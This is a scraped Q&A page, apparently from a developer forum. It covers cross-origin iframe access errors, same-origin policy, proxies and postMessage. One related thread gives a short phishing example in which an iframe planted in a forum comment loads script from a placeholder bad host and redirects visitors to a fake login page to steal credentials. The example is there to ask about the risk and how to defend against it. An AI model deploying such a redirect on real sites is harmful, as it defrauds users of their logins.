I need to set the value attribute of several elements in the document of an iframe. I am able to easily do this from Chrome Tools Console. But the same commands do NOT work from a JavaScript injected into the page by Keyboard Maestro or AppleScript.
The iframe is generated by a Chrome extension: Evernote Web Clipper.
In the below examples, I have already invoked the Evernote Web Clipper.
This script/commands work from Chrome Console, after I have selected the iframe document:
var remElem = document.getElementById("comments");
remElem.value = "KM This is a test";
var titleElem = document.getElementById("title")
titleElem.value = 'KMTEST title'
I suspect that I first need to get or select the iframe document before I run the above script. How do I do this?
I have tried many different SO solutions, and none of them work.
Here is a screenshot of the main document in Chrome Tools:
Screenshot of iframe document in Chrome Tools:
Here is what I have tried, unsuccessfully:
// *** NONE of These Work ***
//--- Method 1 ---
var frame = window.frames[‘frame1’];
var documentObj = frame.document;
var element = documentObj.getElementsByName(‘frame1Text’);
//--- Method 2 ---
var frame = document.getElementById(‘myframe1’);
var documentObj = frame.contentWindow.document;
var element = documentObj.getElementById(‘frame1Text’);
//--- Method 3 ---
window.frames[1].document.getElementById('someElementId')
For example, from Chrome Tools, when I have the main document selected:
//--- From Chrome Tools with Main document selected ---
enFrm = document.getElementById("evernoteGlobalTools")
/*RESULTS
<iframe id="evernoteGlobalTools" src="chrome-extension://pioclpoplcdbaefihamjohnefbikjilc/content/global_tools/global_tools.html" class="evernoteClipperVisible" style="height: 528px !important;"></iframe>
*/
oDoc = enFrm.contentWindow.document;
/* ERROR
VM882:1 Uncaught DOMException: Blocked a frame with origin "http://forum.latenightsw.com" from accessing a cross-origin frame.
at <anonymous>:1:27
(anonymous) # VM882:1
*/
oDoc = enFrm.contentWindow.document;
/* ERROR
VM892:1 Uncaught DOMException: Blocked a frame with origin "http://forum.latenightsw.com" from accessing a cross-origin frame.
at <anonymous>:1:27
*/
Any/All suggestions/ideas gratefully accepted.
The error you are facing:
Uncaught DOMException: Blocked a frame with origin "http://forum.latenightsw.com" from accessing a cross-origin frame.
clearly states that your code has been blocked due to a Cross-Origin Resource Sharing restriction (A.K.A. Content Security policy or evn CORS).
Your domain forum.latenightsw.com is quite rightly considered not the same when compared to chrome-extension://pioc…
(main page versus extension's injected IFrame's domain …). Accessing the IFrame's DOM in such a situation would be a HUGE security flaw.
I fear there is no realistic solution that would let you run this code from the main page Javascript context.
If you were in control of the chrome extension, you could try adding your domain as a host permission in the manifest file (If this was really relevant). (More details on Google Chrome documentation).
I'm not sure window.postMessage would help you here.
If you have static code to execute you could create a Bookmarklet containing the code, then ask your visitors to add it to their bookmarks (bar) and click it to execute changes. But this is not a realistic solution and won't probably fit your need.
EDIT
In response to «Please help me understand why that is any more of a security issue» comment.
Browsers sandboxes code in contexts, each context has its own set of security restrictions and some of them are at risk (mostly) regarding XSS attacks.
WEB page is the most exposed context to attacks, any browser will execute the code it contains after fetching its URL. This is the ideal target for attacks (such as XSS) because the more people visit an affected website the more people pay the costs. This is why restriction such as Cross-Origin Resource Sharing exist which prevent different frames (with different domains) to access each other documents by default.
There are factors that ease attacks, for instance: identified security flaws in open source outdated CMS consisting in not correct escaping of content coming from the database letting tags appear in the page source (which is then executed by browsers…), etc.
In the "Extension" context, some APIs require the developer to explicitly ask for permissions in the extension's manifest file. Interactions with the current page (active tab) is granted if the ActiveTab permission has been declared. Once you install an extension, you give access to APIs the extension has requested for.
The developer console context is a particular case. What is executed their ONLY COMES FROM YOU AND WILL ONLY AFFECT YOUR EXPERIENCE.
One can guess that risks are quite limited there compared to code in websites source (where there may have injected malicious code using XSS attacks).
In other words, only the code you enter in the console will be exectuted there and no code from a WEB page will gain access to the console context.
You may have experienced browsers warning you about risks when you past code to execute in the console, telling you to do so if and only if you understand what the code will do or at least if you absolutely trust the author/origin of the snippet.
A (not so) fictional scenario: Access Iframe content from main page.
Let say we have a web page containing malicious script. This script could try to identify installed extensions by periodically scanning DOM nodes and look for specific extensions injected content, and ultimately access that content.
All this reminds me an interesting article for developers.
Related
We have an intranet website, lets call it https://www.myintranetsite.com. Note that I can't access its source code.
I would like to use it in another web page in an IFrame, so I am creating a very basic HTML page like:
<html><body>
<div>
<iframe id="myIframe" width="100%" height="1200px" src="https://www.myintranetsite.com/"></iframe>
</div>
</body></html>
When I open the HTML page with Microsoft Edge, it works, however Google Chrome does not work and it shows the error below:
When I do F12 in the browser, the error message I see in the console is on below:
Uncaught ReferenceError: $ is not defined
at login?isajax=true:19
As I understand, JQuery is used in the myintranetsite.com and Chrome does not load it for some reason, probably security related... Version of Chrome: 81.0.4044.122 (64bit)
How can I overcome this issue? I've tried those but no help:
clearing the cache,
adding myintranetsite to trusted sites in internet options,
clearing SSL Stage,
disabling cookies in
chrome
I've checked this but it did not help either: jQuery/iframe not working in Chrome
Any help or advice would be appreciated.
Your understanding that this is prevented by security measures is correct, basically you get a jQuery error because jQuery would be loaded by the inner page, but since the inner page is not loaded, it's not loading jQuery either. You will need to create some proxy pages, let's see the steps:
Step 1
Create a separate page, let's call it myintranetproxy. I will assume that the location of this page you create is /myintranetproxy, so, if you have different routes, feel free to make the changes you need.
Step 2
Make sure that myintranetproxy shows a text or something at this stage, like 'Hello World', just to ensure that it's loaded at the next step.
Step 3
Load myintranetproxy:
<html><body>
<div>
<iframe id="myIframe" width="100%" height="1200px" src="/myintranetproxy"></iframe>
</div>
</body></html>
now you should see your temporary content inside the iframe.
Step 4
Change myintranetproxy, it should now send a GET request to https://www.myintranetsite.com/ and once the response arrives, write that HTML as it is instead of your "Hello World"
Step 5
Make sure that you change any URL in the response you get to the absolute URL of the page. This will affect iframe, script, link, img tags. You can implement this, or use an HTML parser for this purpose.
The most likely cause is that your somehow mixing HTTP and HTTPS. Chrome really does not like this, make sure your parent page and the page in the iframe are both using the same protocol
Sometimes iFrames are disabled as mitigation against clickjacking attempts.
In order for the intranet site to be framed, all of the mitigations below would need to be disabled.
Content Security Policy (CSP) frame-ancestors directive
X-Frame-Options Response Headers
Legacy Browser Frame Breaking Script
more about those clickjacking mitigations and how to enable/disable those protections can be found here
Also, if your site requires session cookies, the end-user will have to ensure that third party cookies are enabled. (Safari has them turned off by default for example).
If I can insert iframes in a forum comment, example:
<iframe src="http://badwebsite.comm/xss.html"></iframe>
cat xss.html
<html>
<head>
<script>
window.top.location = "http://badwebsite.comm/stolecred.html";
</script>
</head>
</html>
So when anyone enters this forum, it will be redirected to http://badwebsite.comm/stolecred.html/.
From this point, the stolecred.html can be an exact copy of the login page for the original forum.
After the user gave his credentials, the http://badwebsite.comm/stolecred.html can redirect it to the original website.
Question:
So allowing iframes in a forum is a very big security problem? It shouldn't be allowed in any manner? Why does a modern browser allow window.top.location to work in an iframe?
There is no limited risk (as long as there isn't a bug in the browser).
If you run the example below, you'll get the following error message in the JavaScript console of your browser:
Unsafe JavaScript attempt to initiate navigation for frame with URL 'Why is "window.top.location" working in iframes?' from frame with URL 'http://schneidr.de/misc/bad_redirect.html'. The frame attempting navigation of the top-level window is sandboxed, but the 'allow-top-navigation' flag is not set.
(Error message from Chrome, wording may be different in other browsers)
<iframe src="http://schneidr.de/misc/bad_redirect.html"></iframe>
The reason for the error is, that the browser doesn't trust JavaScript that is embedded via a frame from a different domain. Because of this it is automatically sandboxed.
To allow the JavaScript changes in an iframe you need to set the sandbox="" attribute, for this example to sandbox="allow-top-navigation". So, if you allow iframes in comments you should at least filter this attribute before saving and displaying it.
If you do this it is pretty safe to allow iframes from a security point of view. Personally I wouldn't allow it on a site I administer because I have no control over the content displayed via the iframe, which could bring me legal trouble.
In the past this used to work:
// writing
var newTab = window.open();
newTab.document.write("<html><head><title>I'm just a tab</title></head>");
newTab.document.write("<body id='hello'>With some text on it</body>");
newTab.document.write("</html>");
newTab.document.close();
// reading what was wrote
newTab.document.getElementById('hello').addEventListener("click", custom_search_function(), false);
However now when I try to execute this code, Firefox mentions a security error:
Error: SecurityError: The operation is insecure.
I searched the forum for an alternative and this works:
var textOnPage = "<html><head><title>I'm just a tab</title></head><body>";
var newTab = window.open("data:text/html;charset=UTF-8," + encodeURIComponent(textOnPage));
newTab.document.close();
But I can't access the page via getElementById
newTab.document.getElementById('hello').addEventListener("click", custom_search_function(), false);
returns:
Error: TypeError: newTab.document.getElementById(...) is null
How can I write to this new tab and then go back to read it through functions such as getElementById?
You're falling foul of the Single Origin Policy. When you open a new window without a URL, by definition it can't have the same domain name as the original (opener) window.
You could instead have the window.open() call open another URL on your site (mostly blank html) and as part of its body.onload event handler (or jQuery.ready()) you could set up an event handler for the message event like this:
$(document).ready(function(){
window.addEventListener("message", receiveMessage, false);
});
function receiveMessage(evt)
{
if (evt.origin !== "https://your-domain.here")
return;
// do something with evt.data
$(document.body).append(""+evt.data);
}
In your originating window you call:
otherWindow.postMessage(message, "https://your-domain.here");
The postMessage API is now well supported across a variety of modern browsers.
You'll still not be able to directly reach in to maniuplate the content of otherWindow, but you can post messages back from otherWindow to your originating window to achieve the same effect. (e.g: put your content manipulation code in otherWindow's content and 'call' it from your originating window).
This used to work in a variety of browsers for a long time (in my past life as a web developer I actually took advantage of this technique for web applications). It used to be that window.open pages were treated mostly like they were from the same domain as the parent page (although the behavior was always a little weird and the url in the url bar was usually about:blank).
Now the standard is to open the pages with the url origin being about:blank, and while I can understand why it made sense to simplify things and I can understand the reason this breaks the previous behavior, but the issue here is that about:blank is not a real url so the standard cross-origin rules should be different, at least in the case of window.open calls.
Is there a real security threat here from allowing windows to write to pages they have opened? I do not think so, but it is possible. In the end, I am no longer a web developer and do not care that much about these things, but I would not be surprised if other people's applications broke as well.
This is a weird one. I am attempting the following.
I have a local HTML and JavaScript file which generates a random Wikipedia page. When I get the URL for the random Wikipedia page I want to send it to the printer. However, both Chrome and Firefox seem to have a real problem with this.
In Chrome I get an error:
Unsafe JavaScript attempt to access frame with URL https://secure.wikimedia.org/wikipedia/en/w/index.php?title=Popran_National%20Park&printable=yes from frame with URL my local
file. Domains, protocols and ports must match. </br>
gol.js:99Uncaught TypeError: Object [object DOMWindow] has no method 'print'
In Firefox:
Permission denied to access property 'print' </br>
[Break On This Error] </br>
infoWindow.print();
Do you think this could be a because I am running things locally?
My code for spawning the new window is:
var printURL = "https://secure.wikimedia.org/wikipedia/en/w/index.php?"
infoWindow = window.open(printURL,'wiki');
setTimeout ( "printWin()", 2000 );
where printWin() is:
function printWin(){
infoWindow.print();
infoWindow.close();
}
It's the security policy stuff that you are running into. Read this and this.
What you need to do is run the GET request for the Wiki page through a server. So the server acts as a proxy. The browser will allow this because, from it's perspective, the content is from the same origin as your hosting page.
You might get broken links still. You might have to come up with way to proxy all of that as well -- or rewrite the HTML. If you do that, now you are getting into the land of copyright and I'm not sure what's what when it comes to all that.
Are you allowed to proxy Wikipedia content through a server, thereby masking its origin? Maybe you are as long as you don't change the content. But if you adjust the HTML to make it look like it was meant to look, then are you being a bad boy or a good boy? I have no idea whatsoever on this.
I think I answered your technical question though.
I have an iframe-based online help system that has worked well for years. With IE8 it chokes on some of the javascripting that calls location.toString(). This same code works fine in IE6.
Specifically, the code is:
var iss = parent.left.location.toString();
var isInd = iss.indexOf("indexframe");
I get a "permission denied" error. I believe the problem is related to cross-domain communications, which I'm not sure I fully understand. The whole package runs locally using local HTML and javascript files. I'm not trying to have a frame in one domain control a frame in another domain. Or maybe I'm way off base in assuming this is the problem.
Could someone help me to understand what I need to do to work around this issue?
If the iFrame and the parent Document are in the same domain then you should not get that error. It suggests to me that the documents are in different domains.
If the Iframe is in www.mydomain.com and the document is in help.mydomain.com YOU WILL GET AN ERROR! The pages must think they are in the exact same domain.
In both documents you could add javascript the set the domain:
document.domain = "mydomain.com";
Javascript will allow you to drop into the host domain on both pages. This allows you to communicate accross the frames. Of course if the pages are in different HOST domains then this won't work and javascript will throw the error.
Typically when accessing the content of another iframe, i use something like this:
var f = document.getElementById('IdOfIFrame'),
d = f.contentDocument||f.contentWindow;
alert(d.location);
If you are indeed accessing 2 domains from your site, and you own both of them, you can create an xml file that specifies which domains should be allowed to share. See the spec document. This opt-in cross-site access is supported by more than just Adobe (MS Silverlight for one). Here is Silverlight's support spec.